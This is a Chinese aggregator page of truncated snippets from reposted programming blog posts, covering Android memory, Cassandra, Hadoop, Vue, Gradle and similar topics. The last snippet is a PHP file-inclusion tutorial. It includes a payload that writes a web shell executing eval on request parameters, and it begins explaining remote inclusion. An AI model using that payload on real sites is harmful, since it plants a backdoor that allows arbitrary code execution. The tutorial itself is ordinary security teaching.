[id函数在字符串比较中的误用]的搜索结果

...是总结我对Android开发过程中内存优化的理解，很多东西都是平常的习惯和一些细节问题，重在剖析优化的原理，养成一种良好的代码习惯。 概述 既然谈优化，就绕不开Android三个内存相关的经典问题： OOM 内存泄漏 频繁GC卡顿 导致这三个问题的原因： OOM App在启动时会从系统分配一个默认的堆内存，同时拥有一个堆内存最大值（可以动态申请这个大小），这个Max Heap Size的大小，决定了软件运行时可以申请的最大运行内存。App软件内存分配是个不断创建和GC回收的过程，就像一个水池拥有注入和排出水的通道，当注入过快，排出不足时，水池满了溢出，Out of Memory，即我们常说的OOM。 内存泄漏 当我们在代码中创建对象，会申请内存空间，同时包含一个对象的引用，当我们长时间不使用该引用时，JVM GC操作时会根据这个引用去释放内存。但是，对象的回收可能有点差错，如果这个对象A被另一个线程B所引用，当我们不再使用A，可A却处于B的hold状态，那么我们每次创建的A都得不到回收，这个时候就会发生内存泄漏了。 频繁GC卡顿 上面说了，App的堆内存有最大值，是有限的，那么如果我们频繁的创建，当运行内存不断上升，为了维持App的运行，GC回收也会频繁操作，软件运行资源有些，必然导致卡顿问题。 JAVA的GC机制，非常的复杂和精辟，不可一言概论之，在看过许多blog之后，给出一点自己的总结。 简述JVM GC 我们都知道Java语言非常的方便，不像C语言，申请和释放内存都是自己操作，java有虚拟机帮忙。Android 的每个应用程序都会使用一个专有的Dalvik虚拟机实例来运行，即使内存泄漏也只是kill当前App. Java虚拟机有一套完整的GC方案，只是简单理解的话就是，它维持着一个对象关系树，当开始GC操作时，它会从GC Roots开始扫描整个Object Tree，当发现某个无法从Tree中引用到的对象时，便将其回收。 GC Roots分类举例： Class类 Alive Thread 线程stack上的对象，如方法或者局部变量 JNI活动对象 System Class Loader Java中的引用关系 java中有四种对象引用关系，分别是：强引用StrongRefernce、软引用SoftReference、弱引用WeakReference、虚引用PhantomReference，这四种引用关系分别对应的效果： StrongRefernce 通过new创建的对象，如Object obj = new Object();，强引用不会被垃圾回收器回收和销毁，即是OOM，所以这也容易造成我们接下来会分析的《非静态内部类持有对象导致的内存泄漏问题》 SoftReference 软引用可以被垃圾回收器回收，但它的生命周期要强于弱引用，但GC回收发生时，只有在内存空间不足时才会回收它 WeakReference 弱引用的生命周期短，可以被GC回收，但GC回收发生时，扫描到弱引用便会被垃圾回收和销毁掉 PhantomReference 虚引用任何时候都可以被GC回收，它不会影响对象的垃圾回收机制，它只有一个构造函数，因此只能配合ReferenceQueue一起使用，用于记录对象回收的过程 PhantomReference(T referent, ReferenceQueue<? super T> q) 关于ReferenceQueue 他的作用主要用于记录引用是否被回收，除了强引用其他的引用方式得构造函数中都包含了ReferenceQueue参数。当调用引用的get（）方法返回null时，我们的对象不一定已经回收掉了，可能正在进入回收流程中，而当对象被确认回收后，它的引用会被添加到ReferenceQueue中。 Felix obj = new Felix();ReferenceQueue<Felix> rQueue = new ReferenceQueue<Felix>();WeakReference<Felix> weakR = new WeakReference<Felix>(obj,rQueue); 总结 看完Android引用和回收机制，我们对于代码中内存问题的原因也有一定认识，当时现实中内存泄漏或者溢出的问题，总是不经意间，在我之后一些列的文章中，会对不同场景的代码问题进行分析和解决，一起来关注吧！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/sslinp/article/details/84787843。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...ck ( lock_id text, owner text, timestamp timestamp, PRIMARY KEY (lock_id) ) WITH default_time_to_live = 60; 这里，lock_id表示要锁定的资源标识，owner记录当前持有锁的节点信息，timestamp用于判断锁的有效期。设置TTL（Time To Live）这玩意儿，其实就像是给一把锁定了个“保质期”，为的是防止出现死锁这么个尴尬情况。想象一下，某个节点正握着一把锁，结果突然嗝屁了还没来得及把锁解开，这时候要是没个机制在一定时间后自动让锁失效，那不就僵持住了嘛。所以呢，这个TTL就是来扮演救场角色的，到点就把锁给自动释放了。 3. 使用Cassandra实现分布式锁的基本逻辑 为了获取锁，一个节点需要执行以下步骤： 1. 尝试插入锁定记录 - 使用INSERT IF NOT EXISTS语句尝试向distributed_lock表中插入一条记录。 cql INSERT INTO distributed_lock (lock_id, owner, timestamp) VALUES ('resource_1', 'node_A', toTimestamp(now())) IF NOT EXISTS; 如果插入成功，则说明当前无其他节点持有该锁，因此本节点获得了锁。 2. 检查插入结果 - Cassandra的INSERT语句会返回一个布尔值，指示插入是否成功。只有当插入成功时，节点才认为自己成功获取了锁。 3. 锁维护与释放 - 节点在持有锁期间应定期更新timestamp以延长锁的有效期，避免因超时而被误删。 - 在完成临界区操作后，节点通过DELETE语句释放锁： cql DELETE FROM distributed_lock WHERE lock_id = 'resource_1'; 4. 实际应用中的挑战与优化 然而，在实际场景中，直接使用上述简单方法可能会遇到一些挑战： - 竞争条件：多个节点可能同时尝试获取锁，单纯依赖INSERT IF NOT EXISTS可能导致冲突。 - 网络延迟：在网络分区或高延迟情况下，一个节点可能无法及时感知到锁已被其他节点获取。 为了解决这些问题，我们可以在客户端实现更复杂的算法，如采用CAS（Compare and Set）策略，或者引入租约机制并结合心跳维持，确保在获得锁后能够稳定持有并最终正确释放。 5. 结论与探讨 虽然Cassandra并不像Redis那样提供了内置的分布式锁API，但它凭借其强大的分布式能力和灵活的数据模型，仍然可以通过精心设计的查询语句和客户端逻辑实现分布式锁功能。当然，在真实生产环境中，实施这样的方案之前，需要充分考虑性能、容错性以及系统的整体复杂度。每个团队会根据自家业务的具体需求和擅长的技术工具箱，挑选出最合适、最趁手的解决方案。就像有时候，面对复杂的协调难题，还不如找一个经验丰富的“老司机”帮忙，比如用那些久经沙场、深受好评的分布式协调服务，像是ZooKeeper或者Consul，它们往往能提供更加省时省力又高效的解决之道。不过，对于已经深度集成Cassandra的应用而言，直接在Cassandra内实现分布式锁也不失为一种有创意且贴合实际的策略。

...TOKENIZE函数将每一行文本切割成单词，并进一步通过DISTINCT运算符找出所有唯一的单词。 3.2 文本数据统计分析 接下来，我们可以利用Pig进行更复杂的统计分析： pig -- 计算每个单词出现的次数 word_counts = GROUP unique_words BY word; word_count_stats = FOREACH word_counts GENERATE group, COUNT(unique_words) AS count; -- 按照单词出现次数降序排序 sorted_word_counts = ORDER word_count_stats BY count DESC; -- 存储结果到HDFS STORE sorted_word_counts INTO 'output'; 以上代码展示了如何对单词进行计数并按频次降序排列，最后将结果存储回HDFS。这个过程就像是在大数据海洋里淘金，关键几步活生生就是分组、聚合和排序。这就好比先按照矿石种类归类（分组），再集中提炼出纯金（聚合），最后按照纯度高低排个序。这一连串操作下来，Apache Pig的实力那是展现得淋漓尽致，真可谓是个大数据处理的超级神器！ 4. 人类思考与探讨 当你深入研究并实践Apache Pig的过程中，你会发现它不仅简化了大规模文本数据处理的编写难度，而且极大地提升了工作效率。以前处理那些要写一堆堆嵌套循环、各种复杂条件判断的活儿，现在用Pig Latin轻轻松松几行代码就搞定了，简直太神奇了！ 更重要的是，Apache Pig还允许我们以近乎自然语言的方式表达数据处理逻辑，使得非程序员也能更容易参与到大数据项目中来。这正是Apache Pig的魅力所在——它让数据处理变得更人性化，更贴近我们的思考模式。 总之，Apache Pig在处理大规模文本数据方面展现了无可比拟的优势，无论是数据清洗、转化还是深度分析，都能轻松应对。只要你愿意深入探索和实践，Apache Pig将会成为你在大数据海洋中畅游的有力舟楫。

...r { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { // 处理接收到的消息 System.out.println("Received message: " + msg); // 将消息传递给下一个处理器 ctx.fireChannelRead(msg); } } 理解过程： - MyHandler 是一个简单的处理器，它接收消息并打印出来，然后调用 ctx.fireChannelRead(msg) 将消息传递给管道中的下一个处理器。 - JIT编译器可以针对这种频繁调用的方法进行优化，通过预测调用路径减少分支预测错误，进而提升整体性能。 3. ByteBuf 内存管理的艺术 接下来，我们来看看ByteBuf，这是Netty用来替代传统的byte[]数组的一个高性能类。ByteBuf提供了自动内存管理和池化功能，能够显著减少垃圾回收的压力。 java ByteBuf buffer = Unpooled.buffer(16); buffer.writeBytes(new byte[]{1, 2, 3, 4}); System.out.println(buffer.readByte()); buffer.release(); 探讨性话术： - 在这个例子中，我们创建了一个容量为16字节的缓冲区，并写入了一些字节。之后读取第一个字节并释放缓冲区。这里的关键在于JIT编译器如何识别和优化这些内存操作。 - 比如，JIT可能会预热并缓存一些常见的方法调用路径，如writeBytes() 和 readByte()，从而在实际运行时提供更快的访问速度。 4. 内联与逃逸分析 JIT优化的利器 说到JIT编译器的优化策略，不得不提的就是内联和逃逸分析。内联就像是把函数的小身段直接塞进调用的地方，这样就省去了函数调用时的那些繁文缛节；而逃逸分析呢，就像是个聪明的侦探，帮JIT（即时编译器）搞清楚对象到底能不能在栈上安家，这样就能避免在堆上分配对象时产生的额外花销。 java public int sum(int a, int b) { return a + b; } // 调用sum方法 int result = sum(10, 20); 思考过程： - 这段代码展示了简单的内联优化。比如说，如果那个sum()方法老是被反复调用，聪明的JIT编译器可能就会直接把它变成简单的加法运算，这样就省去了每次调用函数时的那些麻烦和开销。 - 同样，如果JIT发现某个对象只在方法内部使用且不逃逸到外部，它可能决定将该对象分配到栈上，这样就无需进行垃圾回收。 5. 结语 拥抱优化，追求极致 总之，Netty框架通过精心设计和利用JIT编译器的各种优化策略，实现了卓越的性能表现。作为开发者，咱们得好好搞懂这些机制，然后在自己的项目里巧妙地用上。说真的，性能优化就像一场永无止境的马拉松，每次哪怕只有一点点进步，也都值得我们去琢磨和尝试。 希望这篇文章能给你带来一些启发，让我们一起在编程的道路上不断前行吧！ --- 以上就是我对Netty中JIT编译优化的理解和探讨。如果你有任何问题或者想法，欢迎随时留言交流！

...etypeGroupId=org.apache.maven.archetypes \ -DarchetypeArtifactId=maven-archetype-quickstart \ -DarchetypeVersion=1.4 \ -DgroupId=com.example \ -DartifactId=my-new-project \ -Dversion=1.0-SNAPSHOT 上述命令的作用是使用Maven内置的maven-archetype-quickstart模板创建一个新项目。其中： - -DarchetypeGroupId，-DarchetypeArtifactId和-DarchetypeVersion分别指定了要使用的模板的Group ID，Artifact ID和版本。 - -DgroupId，-DartifactId和-Dversion则是用于定义新项目的基本信息。 执行完该命令后，Maven会提示你确认一些参数，并在指定目录下生成新的项目结构。 3.2 创建自定义的archetype项目模板 当然，你也可以创建自己的项目模板，供后续多次复用。首先，咱先来新建一个普普通通的Maven项目，接着就可以按照你的小心思，尽情地设计和调整目录结构，别忘了把初始文件内容也填充得妥妥当当的哈。接着，在pom.xml中添加archetype相关的配置： xml 4.0.0 com.example my-custom-archetype 1.0-SNAPSHOT maven-archetype org.apache.maven.archetype archetype-packaging 3.2.0 org.apache.maven.plugins maven-archetype-plugin 3.2.0 generate-resources generate-resources 最后，通过mvn clean install命令打包并发布到本地仓库，这样就创建了一个自定义的archetype模板。 3.3 使用自定义的archetype创建新项目 有了自定义的archetype模板后，创建新项目的方式同上，只需替换相关参数即可： shell mvn archetype:generate \ -DarchetypeGroupId=com.example \ -DarchetypeArtifactId=my-custom-archetype \ -DarchetypeVersion=1.0-SNAPSHOT \ -DgroupId=com.new.example \ -DartifactId=my-new-project-from-custom-template \ -Dversion=1.0-SNAPSHOT 在这个过程中，我深感Maven archetype的强大之处，它就像一位贴心助手，帮我们在繁杂的项目初始化工作中解脱出来，专注于更重要的业务逻辑开发。而且，我们能够通过定制自己的archetype，把团队里那些最牛掰的工作模式给固定下来，这样一来，不仅能让整个团队的开发速度嗖嗖提升，还能让大伙儿干活儿时更有默契，一致性蹭蹭上涨，就像乐队排练久了，配合起来那叫一个天衣无缝！ 总结一下，Maven archetype插件为我们提供了一种快速创建项目模板的机制，无论是内置的模板还是自定义模板，都能极大地简化项目创建流程。只要我们把这个工具玩得溜溜的，再灵活巧妙地运用起来，就能在Java开发这条路上走得更顺溜，轻松应对各种挑战，简直如有神助。所以，不妨现在就动手试试吧，感受一下Maven archetype带来的便利与高效！

...ymous(userId, neighborhoodSize); 然而，在Mahout的新版本中，这个方法已经被弃用，取而代之的是更为先进且符合新设计思路的API。当你升级Mahout至新版本后，这段代码就会抛出NoSuchMethodError或其他相关的运行时异常，严重影响了系统的稳定性和功能表现。 4. 解决方案及新版API应用示例 面对这种情况，我们需要对旧版代码进行适配性改造，以适应Mahout新版API的设计理念。以上述例子为例，我们可以查阅Mahout的官方文档或源码注释，找到替代estimateForAnonymous()的新方法，比如在新版Mahout中，可以采用如下方式获取推荐结果： java // 在Mahout新版本中的更新代码片段 import org.apache.mahout.cf.taste.recommender.RecommendedItem; ... GenericRecommender recommender = ...; // 注意这里是GenericRecommender而非GenericItemBasedRecommender List recommendations = recommender.recommend(userId, neighborhoodSize); 5. 迁移过程中的思考与策略 在处理这类问题时，我们不仅要关注具体API的变化，更要理解其背后的设计思想和优化目的。例如，新API可能简化了接口设计，提高了算法效率，或者更好地支持了分布式计算。所以，每次版本更新带来的API变动，其实都是我们好好瞅瞅、改进现有项目的好机会，这可不仅仅是个技术挑战那么简单。 总结来说，面对Mahout版本更新带来的旧版API弃用问题，我们需要保持敏锐的技术嗅觉，及时跟进官方文档和技术动态，适时对旧有代码进行重构和迁移。这样一来，我们不仅能巧妙地躲开API改版可能引发的各种运行故障，更能搭上新版Mahout这班快车，让我们的机器学习应用效果和用户体验蹭蹭往上涨。同时，这也是一个不断学习、不断提升的过程，让我们一起拥抱变化，走在技术进步的前沿。

...。 例如，如果我们想比较两种产品的销售额，我们应该选择柱状图作为我们的可视化类型，并给每种产品分配不同的颜色。同时，我们也应该在标题和图例中明确指出我们正在比较的是哪两种产品。 五、结论 总的来说，处理数据列映射异常是一项非常重要的任务。瞧，如果我们认真检查咱们的查询，把那些躲猫猫的缺失值和捣乱的异常值都妥妥地处理好，再巧妙地设计我们的可视化图表，那就能确保咱们的数据列映射绝对精准无误。这样一来，生成的可视化效果自然就棒棒哒，既有效又直观！希望这篇文章能帮助你解决你在 Superset 中遇到的问题。

...addField("id", "1"); // 唯一键 doc.addField("_version_", 2); // 当前版本号 doc.addField("content", "new content"); UpdateRequest req = new UpdateRequest(); req.add(doc); req.setCommitWithin(1000); // 设置自动提交时间 solrClient.request(req); 3. 并发写入冲突引发的问题实例 设想这样一个场景：有两个并发请求A和B，它们试图更新同一个文档。假设请求A先到达，成功更新了文档并增加了版本号。这时，请求B才到达，但由于它携带的是旧的版本号信息，因此更新操作会失败。 java // 请求B的示例代码，假设携带的是旧版本号 SolrInputDocument conflictingDoc = new SolrInputDocument(); conflictingDoc.addField("id", "1"); // 同一唯一键 conflictingDoc.addField("_version_", 1); // 这是过期的版本号 conflictingDoc.addField("content", "conflicting content"); UpdateRequest conflictReq = new UpdateRequest(); conflictReq.add(conflictingDoc); solrClient.request(conflictReq); // 此请求将因为版本号不匹配而失败 4. 解决策略与优化方案 面对这种并发写入冲突导致的数据插入失败问题，我们可以从以下几个方面入手： - 重试策略：当出现版本冲突时，可以设计一种重试机制，让客户端获取最新的版本号后重新发起更新请求。但需要注意避免无限循环和性能开销。 - 分布式事务：对于复杂业务场景，可能需要引入分布式事务管理，如使用Solr的TransactionLog功能实现ACID特性，确保在高并发环境下的数据一致性。 - 应用层控制：在应用层设计合理的并发控制策略，例如使用队列、锁等机制，确保在同一时刻只有一个请求在处理特定文档的更新。 - 合理设置Solr配置：比如调整autoCommit和softCommit的参数，以减少因频繁提交而导致的并发冲突。 5. 总结与思考 在实际开发过程中，我们不仅要了解Apache Solr提供的并发控制机制，更要结合具体业务场景灵活运用，适时采取合适的并发控制策略。当碰上并发写入冲突，导致数据插不进去的尴尬情况时，咱们得主动出击，找寻并实实在在地执行那些能解决问题的好法子，这样才能确保咱们系统的平稳运行，保证数据的准确无误、前后一致。在摸爬滚打的探索旅程中，我们不断吸收新知识，理解奥秘，改进不足，这正是技术所散发出的独特魅力，也是咱们这群开发者能够持续进步、永不止步的原动力。

...建和部署小型、独立的函数，这些函数在事件触发时自动运行。在处理大数据时，Azure Functions可以作为数据处理的中间层，处理和过滤数据，然后再将其存储或转发到其他系统。

...) { @Override public void map(String value, Collector out) throws Exception { long result = databaseClient.query().get(); out.collect(result); } @Override public Future asyncInvoke(String value, ResultFuture resultFuture) { Future future = databaseClient.query(); future.whenComplete((result, error) -> { if (error != null) { resultFuture.completeExceptionally(error); } else { resultFuture.complete(result); } }); return null; } }); output.print(); env.execute("Socket Consumer"); 在这个例子中，我们创建了一个DataStream，然后在这个DataStream上应用了一个异步Map函数。这个异步Map函数就像是个勤劳的小助手，每当它收到任何一项输入数据时，就会立刻派出一个小小的异步查询小分队，火速前往数据库进行查找工作。当数据库给出回应，这个超给力的异步Map函数就会像勤劳的小蜜蜂一样，把结果一个个收集起来，接着马不停蹄地去处理下一条待输入的数据。 六、总结 总的来说，Flink的异步I/O操作可以帮助我们在处理大量外部系统交互时，减少系统间的通信延迟，提高系统的吞吐量和实时性。当然啦，异步I/O这东西也不是十全十美的，它也有一些小瑕疵。比如说，开发起来可没那么容易，你得亲自上阵去管那些异步任务的状态，一个不小心就可能让你头疼。再者呢，用了异步操作，系统整体的复杂程度也会噌噌往上涨，这就给咱们带来了一定的挑战性。不过，考虑到其带来的好处，我认为异步I/O操作是非常值得推广和使用的。 附：这是部分HTML格式的文本，请注意核对

...oading 和 hideLoading 支持 HMR，基于 babel-plugin-dva-hmr 实现 components、routes 和 models 的 HMR 二、umijs 开源地址：https://umijs.org/ 1.umi umi是一个基于路由的框架，支持next.js类似的传统路由和各种高级路由功能，例如路由级按需加载。凭借涵盖从源代码到构建产品的每个生命周期的完整插件系统，umi能够支持各种功能扩展和业务需求。目前，umi在社区和公司内部拥有近50多个插件。 umi是Ant Financial的基本前端框架，直接或间接地为600多个应用程序提供服务，包括Java，节点，移动应用程序，混合应用程序，纯前端资产应用程序，CMS应用程序等。umi为我们的内部用户提供了很好的服务，我们希望它能够很好地为外部用户服务。 2.功能 ? 开箱即用，内置支持反应，反应路由器等。 ?Next.js 喜欢和全功能的路由约定，它也支持配置的路由 ? 完整的插件系统，涵盖从源代码到生产的每个生命周期 ? 高性能，通过插件支持PWA，路由级代码分割等 ? 支持静态导出，适应各种环境，如控制台应用程序，移动应用程序，鸡蛋，支付宝钱包等 ? 快速启动启动，支持使用config 启用dll和hard-source-webpack-plugin ? 与IE9兼容，基于umi-plugin-polyfills ? 支持TypeScript，包括d.ts定义和umi test ? 与深度集成DVA，支持鸭子目录，模型的自动加载，代码分裂等 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_32447301/article/details/93423515。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...定义的属性都会暴露在函数内部的 this 上，它会指向当前的组件实例。 以上是官网对于选项的概念，简单的说，选项是一组由Vue定义好的对象，你可以将你的代码写在指定的选项中，从而获得一些 “特异功能” 。 注：由于选项是Vue规定好的，因此在使用中我们不能更改其名称，也不可以重复定义 常用选项 1. data选项 必须是一个函数，将组件需要使用的变量定义在此函数的返回值对象中，定义的变量将会获得一个“特异功能” ---- 响应式 <template><div><!-- 在这里使用插值表达式将name渲染到页面 -->{ { name } }</div></template><script>export default {// data选项data(){return{// name是响应式的name:"Jay",} },}</script> 上面例子中的name就是一个响应式数据，在值发生改变时，视图（页面）上的name也会发生变化，那我们便可以通过操作name的变化去使视图发生变化，而不用进行繁琐的DOM操作，这也体现着Vue框架的 数据驱动 这一核心思想。 为什么数据要定义在data函数的返回值中，而不是定义在一个对象中？ 将数据定义在函数返回值中，可以确保每产生一个组件实例，都会调用一次函数，并返回一个新的对象，开辟一块新的空间。 如果将数据定义在对象中，可能会出现类似于浅拷贝中出现的问题，即多个组件实例指向同一块空间，一个组件实例修改数据，则全部数据发生变化。 2. methods选项 此选项是一个对象，其中存放着该组件要使用的函数，比如事件的回调函数… <template><div><!-- 添加点击事件，事件回调函数在methods中定义 --><button @click="add">点击加一</button> <p>{ { count } }</p></div></template><script>export default {data(){return{count:0,} },// 在methods中定义函数（方法）methods:{add(){// 在函数中要使用data中的变量，需加thisthis.count++},} }</script> 通过点击事件改变count的值，从而使页面上的值随之变化，再次体现 数据驱动 的核心思想 3. computed 计算属性 计算属性，对象形式，顾名思义，在计算属性中保存着一系列需要经过运算得出的属性 <template><p>路程：{ { distance } } km</p><p>速度：{ { speed } } km/h</p><!-- 使用计算属性，与变量的使用相同 --><p>花费的时间：{ { time } } h</p></template><script>export default {data() {return {distance: 1000,speed: 50,} },computed: {// 定义计算属性，类似于函数的定义，返回值就是该计算属性的值time() {return this.distance / this.speed} }}</script> 计算属性内部所依赖的数据发生变化时, 计算属性本身就会自动重新计算返回一个新的计算值并缓存起来。 计算属性内部所依赖的数据没有发生变化, 计算属性会直接返回上一次缓存的值。 因此上面例子中的distance（路程）与speed（速度）无论如何变化，time都会计算出正确的值。 4. directives 选项, 定义自定义指令( 局部指令 ) 在上节，我们学习了一些Vue内置指令，功能十分强大，那么我们可以自己定义一些指令吗？ 当然可以！我们可以在directives选项中创建自定义指令。 <template><!-- 使用自定义指令 --><div v-myshow="1"></div><div v-myshow="0"></div></template><script>export default {// 在directives中定义一个自定义指令，来模仿v-show的功能directives: {//el:添加自定义指令的元素；binding：指令携带的参数myshow(el, binding) {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} }} }</script><style scoped>div {width: 100px;height: 100px;background-color: red;margin: 10px;}</style> 像以上这种，在组件中定义的指令是局部指令，只能在本组件中使用，全局指令需要在main.js文件中定义，全局指令在任何.vue文件中都可使用。 注意: 当局部指令和全局指令冲突时, 局部指令优先生效. var app = createApp(App)//定义全局指令 app.directive("myshow", (el, binding) => {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} })// 全局指令可在任何组件使用 5. components组件选项（注册局部组件） 在一个组件中我们可能会使用到其他组件，在将组件引入后，需要在components中进行注册，才能使用。 <template><!-- 使用组件 --><Test /></template><script>// 引入组件import Test from './Test.vue'export default {// 注册组件components: {Test},}</script> 局部组件只能在当前组件内部使用，需要在任何组件中使用，需要在main.js文件中注册为全局组件 // 引入组件import Test from './Test.vue'// 注册全局组件，可在所有.vue文件中使用app.component('Test',Test); 6. 其他 filters 选项, 定义过滤器，vue2中使用，Vue3中已经弃用 mounted 等生命周期函数选项，我们在下节进行详细讲解… 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_57714647/article/details/130878069。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

... -- 时间戳和进程ID前缀可能会使日志行变得冗长 log_directory = '/var/log/postgresql' -- 如果不加以定期清理，日志文件可能会撑满整个分区 4. 探讨与建议 面对PostgreSQL的系统配置问题，我们需要深入了解每个参数的含义以及它们在不同场景下的最佳实践。优化配置是一个持续的过程，需要结合业务特性和硬件资源来进行细致调优。 - 理解需求：首先，应了解业务特点，包括数据量大小、查询复杂度、并发访问量等因素。 - 监控分析：借助pg_stat_activity、pg_stat_bgwriter等视图监控数据库运行状态，结合如pgBadger、pg_top等工具分析性能瓶颈。 - 逐步调整：每次只更改一个参数，观察并评估效果，切忌盲目跟从网络上的推荐配置。 总结来说，PostgreSQL的强大性能背后，合理的配置是关键。要让咱们的数据库系统跑得溜又稳，像老黄牛一样可靠，给业务发展扎扎实实当好坚强后盾，那就必须把这些参数整得门儿清，调校得恰到好处才行。

...Map和Reduce函数，实现对原始数据的转换和处理。 2. 数据转换 Map阶段 让我们首先通过一个简单的示例理解Hadoop MapReduce中的数据转换过程： java import java.io.IOException; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper; public class WordCountMapper extends Mapper { private final static IntWritable one = new IntWritable(1); private Text word = new Text(); public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { String line = value.toString(); for (String eachWord : line.split("\\s+")) { word.set(eachWord); context.write(word, one); // 将单词作为key，计数值1作为value输出 } } } 这段代码是Hadoop实现词频统计任务的Mapper部分，它实现了数据从原始文本格式到键值对形式的转换。当Map阶段读取每行文本时，将其拆分为单个单词，并以单词为键、值为1的形式输出，实现了初步的数据转换。 3. 数据处理 Reduce阶段 接下来，我们看下Reduce阶段如何进一步处理这些键值对，完成最终的数据聚合： java import java.io.IOException; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Reducer; public class WordCountReducer extends Reducer { public void reduce(Text key, Iterable values, Context context) throws IOException, InterruptedException { int sum = 0; for (IntWritable val : values) { sum += val.get(); // 对所有相同键的值进行累加 } context.write(key, new IntWritable(sum)); // 输出每个单词及其出现次数 } } 在上述Reducer类中，对于每一个输入的单词（键），我们将所有关联的计数值（值）相加，得到该单词在整个文本中的出现次数，从而完成了数据的聚合处理。 4. 思考与讨论 Hadoop的魅力在于，通过分解复杂的计算任务为一系列简单的Map和Reduce操作，我们可以轻松地应对海量数据的转换和处理。这种并行计算模型就像是给电脑装上了超级引擎，让数据处理速度嗖嗖地往上窜。而且更棒的是，它把数据分散存放在一整个集群的各个节点上，就像把鸡蛋放在不同的篮子里一样。这样一来，不仅能够轻松应对大规模运算，就算某个节点出个小差错，其他的节点也能稳稳接住，保证整个系统的稳定性和可扩展性杠杠的！ 然而，尽管Hadoop在数据处理方面表现出色，但并非所有场景都适用。比如，在那种需要迅速反馈或者频繁做大量计算的情况下，像Spark这类流处理框架或许会是个更棒的选择。这就意味着在咱们实际操作的项目里，面对不同的需求和技术特点时，咱们得像个精明的小侦探，灵活机智地挑出最对味、最适合的数据处理武器和战术方案。 总的来说，借助Hadoop，我们能够构建出高效的数据转换和处理流程，从容应对大数据挑战。不过呢，咱们也得时刻想着把它的原理摸得更透彻些，还有怎么跟其他的技术工具灵活搭配使用。这样一来，咱就能在那些乱七八糟、变来变去的业务环境里头，发挥出更大的作用，创造更大的价值啦！

...n { @Override void apply(Project project) { // 在这里定义你的插件逻辑 } } 2. 自定义错误处理的重要性 在构建过程中，可能会出现各种预期外的情况，比如网络请求失败、资源文件找不到、编译错误等。这些异常情况，如果我们没做妥善处理的话，Gradle这家伙通常会耍小脾气，直接撂挑子不干了，还把一串长长的堆栈跟踪信息给打印出来，这搁谁看了都可能会觉得有点闹心。所以呢，我们得在插件里头自己整一套错误处理机制，就是逮住特定的异常情况，给它掰扯清楚，然后估摸着是不是该继续下一步的操作。 3. 实现自定义错误处理逻辑 下面我们将通过一段示例代码来演示如何在Gradle插件中实现自定义错误处理： groovy class CustomPlugin implements Plugin { @Override void apply(Project project) { // 定义一个自定义任务 project.task('customTask') { doLast { try { // 模拟可能发生异常的操作 def resource = new URL("http://nonexistent-resource.com").openStream() // ...其他操作... } catch (IOException e) { // 自定义错误处理逻辑 println "发生了一个预料之外的问题: ${e.message}" // 可选择记录错误日志、发送通知或者根据条件决定是否继续执行 if (project.hasProperty('continueOnError')) { println "由于设置了'continueOnError'属性，我们将继续执行剩余任务..." } else { throw new GradleException("无法完成任务，因为遇到IO异常", e) } } } } } } 上述代码中，我们在自定义的任务customTask的doLast闭包内尝试执行可能抛出IOException的操作。当捕获到异常时，我们先输出一条易于理解的错误信息，然后检查项目是否有continueOnError属性设置。如果有，就打印一条提示并继续执行；否则，我们会抛出一个GradleException，这会导致构建停止并显示我们提供的错误消息。 4. 进一步探索与思考 尽管上面的示例展示了基本的自定义错误处理逻辑，但在实际场景中，你可能需要处理更复杂的情况，如根据不同类型的异常采取不同的策略，或者在全局范围内定义统一的错误处理器。为了让大家更自由地施展拳脚，Gradle提供了一系列超级实用的API工具箱。比如说，你可以想象一下，在你的整个项目评估完成之后，就像烘焙蛋糕出炉后撒糖霜一样，我们可以利用afterEvaluate这个神奇的生命周期回调函数，给项目挂上一个全局的异常处理器，确保任何小差错都逃不过它的“法眼”。 总的来说，在Gradle插件中定义自定义错误处理逻辑是一项重要的实践，它能帮助我们提升构建过程中的健壮性和用户体验。希望本文举的例子和讨论能实实在在帮到你，让你对这项技术有更接地气的理解和应用。这样一来，任何可能出现的异常情况，咱们都能把它变成一个展示咱优雅应对、积极改进的好机会，让问题不再是问题，而是进步的阶梯。

...如果要用到很多同样的函数，那么我们就可以使用这个文件包含函数，就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt，而1.txt的内容是phpinfo(),include函数包含1.txt，就会把1.txt的内容当成php文件执行，不管后缀是什么。1.txt也好，1.xml也好，只要里面是php代码，然后有被include函数包含，那么就被当成PHP文件执行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，然是不影响其他功能的执行，比如这里的nf和123的输出。那么就表明include函数，如果出现错误的话，并不会影响其他功能的运行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，影响后面功能的执行，比如这里的nf的输出，后面的功能因为2.txt报错，导致123未执行。那么就表明require函数，如果出现错误的话，会影响后面功能的运行。 只要文件内是php代码，文件包含是不在意文件后缀的。 12345.jpg的传参值是a，那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含，我们再来看远程文件包含 简单来说远程文件包含，就是可以包含其他主机上的文件，并当成php代码执行。 要实现远程文件包含的话，php配置的allow_url_include = on必须为on（开启） 来我们可以来实验一下，把这个配置打开。 